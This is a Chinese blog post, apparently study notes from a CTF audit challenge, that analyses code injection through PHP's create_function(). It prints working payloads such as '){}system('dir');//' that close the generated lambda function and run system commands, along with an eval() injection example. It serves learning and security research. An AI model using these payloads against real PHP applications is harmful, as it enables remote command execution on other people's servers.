匿名函数create_function()代码注入

本文介绍了如何查看PHP函数源码,重点分析了create_function()函数在代码注入中的影响和利用场景。通过实验,揭示了该函数如何导致命令执行漏洞,并探讨了参数传递和eval()函数的关系。同时,文章提供了多个测试用例来说明函数的工作原理和潜在风险。
摘要由CSDN通过智能技术生成





查看PHP函数源码-暂无

概述

  有时候需要查看PHP内置函数的源代码,目标源代码版本是PHP/5.0-7.0版本。值得一提的是,PHP语言是用C编写的。

1.本地搜索-无

  PHP源码存储在ext目录下,打开ext目录,发现全是.dll应用程序扩展文件。
设置文件搜索选项,点击左上角的查看,然后点击右上角的选项,勾选“始终搜索文件名和内容”。

  搜索框输入"create_function",提示找不到。查看.dll文件,发现都是乱码,不具有可读性。

在这里插入图片描述

2.PHP官网-无目标版本

  访问PHP官网下载列表:https://www.php.net/downloads。发现目前只提供
PHP/8.0.3、PHP/7.4.16、PHP/7.3.27三个版本的下载资源。

3.Github-无

  Github上面有一些PHP的源码分析和注释,但基本都是PHP7以上版本。

意外收获

  Github上面有一个项目:https://github.com/threadshare/php。
为刚刚学习php语言以及web网站开发整理的一套资源,有视频,实战代码,学习路径等。





匿名函数create_function(arg,code)

影响和利用场景

  在xmctf上面遇到一道PHP审计题目,思路是通过闭合、拼接create_function()函数,实现代码注入的目的。

  官网信息
使用版本:(PHP 4 >= 4.0.1, PHP 5, PHP 7.2)
函数原型:create_function ( string $args , string $code ) : string,返回唯一的函数名。

  总结

命令注入漏洞场景必用符号Payload
程序使用create_function()函数,形参有一个可控时分号,大括号亲测分析:){}system(‘ls’);//
程序使用$a($b)时-其它题目举例:id=2;}phpinfo();/*

查看和分析
测试用例1:函数是否需要调用、参数、以及返回值结果
create_function($a,“echo ‘hello’;”);空页面
create_function($a)expects exactly 2 parameters, 1 given
echo create_function($a,“echo ‘hello’;”);lambda_15
测试用例2:奇怪的报错结果
create_function($a,"echo ‘’; ");正常运行
create_function($a,"echo ‘’ ");syntax error, unexpected ‘}’, expecting ‘,’ or ‘;’

  推测,在执行匿名函数时,程序执行代码:function lambda_15($a){$b}
由于测试用例中echo语句没有加分号,所以报错信息是:unexpected ‘}’。
  但那又怎么样呢?

测试用例3:比较exp语句结果
create_function(){ };syntax error, unexpected ‘{’,这种格式都报错
create_function("){}system(‘dir’);syntax error, unexpected ‘{’
create_function("){}system(‘dir’);//",’’);成功注入,执行命令
create_function(")system(‘dir’);//",’’);unexpected ‘system’,expecting ‘{’
$a = ‘){}system(“dir”);//’;create_function($a,’’);成功注入,单双引号不能冲突

  从解析器的角度出发,当匹配到create_function(时,接下来就会寻找参数,接下来一定一个单引号/双引号。1.系统就会寻找闭合的引号,此时引号内的注释符等会忽略;
2.系统寻找逗号;3.系统寻找一对单/双引号;4.系统寻找)和;。

  从函数解析的角度来看,执行是没有问题的。但当这个函数内部代入执行时,
){}system带入function lambda_15($a){$b},则会产生:

命令执行代码:
	function lambda_15(   ){}system('ls');// 			) {}

值得注意的是,形参好像是不带引号的,不然就是如下代码,很可能无法注入命令
	function lambda_15("  ){}xx  						"){}
第二遍梳理分析

  问题1:create_function($a,$b)解释参数时,参数会被双引号包裹吗?简单来讲,参数会被当做字符串吗?比如$a=“hello”;
  答:代入参数$a和参数$b时,都不会添加引号,而是原样代入。
  解释:测试1create_function("){}system(‘dir’);//",’’);,注入成功。

  问题2:create_function()的作用是创建函数,在这个过程中会执行$code内容吗?
  答:正常情况下不会执行,但代码注入时会执行,原因是内置了eval()函数。
  解释:测试2create_function('','echo "hello";');,没有执行代码,但测试1语句执行了代码。原因是闭合了lambda_15()函数,另外拼接执行了注入语句。

  问题3:通过闭合拼接的方式,其它函数或语句能实现代码注入吗?
  答:一般情况下不会执行,猜测像flask框架一样,对变量进行了编码转义。
  解释:PHP官方Warning:This function internally performs an eval()
  测试file_put_contents(filename,content)函数:
正常语句echo "hello"; file_put_contents("tmp.php",$a);,成功覆盖写入。
测试$a = "'hi');system('dir');"; file_put_contents("tmp.php",$a);,没有执行注入。
传参?a='hi');eval(system('dir'));//,赋值后file_put_contents("tmp.php",$a);,无。

  问题4:create_function()为甚么会出现漏洞?
  答:(1)首先因为eval()函数,可以执行代码,eval()函数的代码注入语句如下。
(2)其次通过参数构造,可以满足create_funcktion两个形参,但代入时lambda()时,又可以构成合法的空参函数,从而导致在参数中可以注入语句。

	$a= '1;system("dir");';
	eval("echo ".$a);

  通过比较测试,猜测create_function()是被代入了eval()函数,但{}中的语句在定义时不会被执行。通过闭合大括号,可以达到问题4中eval()的注入效果。
  希望以后可以多结合源码进行分析,而不是单纯地把分析建立在测试用例上。

测试用例4:比较exp语句结果
成功注入语句,create_function("){}system(‘dir’);//",’’);成功执行命令
不加注释符等,create_function("){system(‘dir’);"syntax error, unexpected ‘?>’,得加
更换}位置,create_function("){system(‘dir’);}//",’’);正常的匿名函数,不执行
	代入Payload执行的语句:function lambda_15(   ){}system('ls');// 			) {}

参考

  《代码审计之create_function()函数 》
https://www.cnblogs.com/-qing-/p/10816089.html

  《一道有意思的代码审计(create_function)》,2020-04
https://blog.csdn.net/qq_45808659/article/details/105799699

  《[科普向] 解析create_function() && 复现wp》
https://paper.seebug.org/94/

  《create_function() 代码注入,,PHP7.2竟然还存在》,2019-05
https://blog.csdn.net/dyw_666666/article/details/90042852





评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值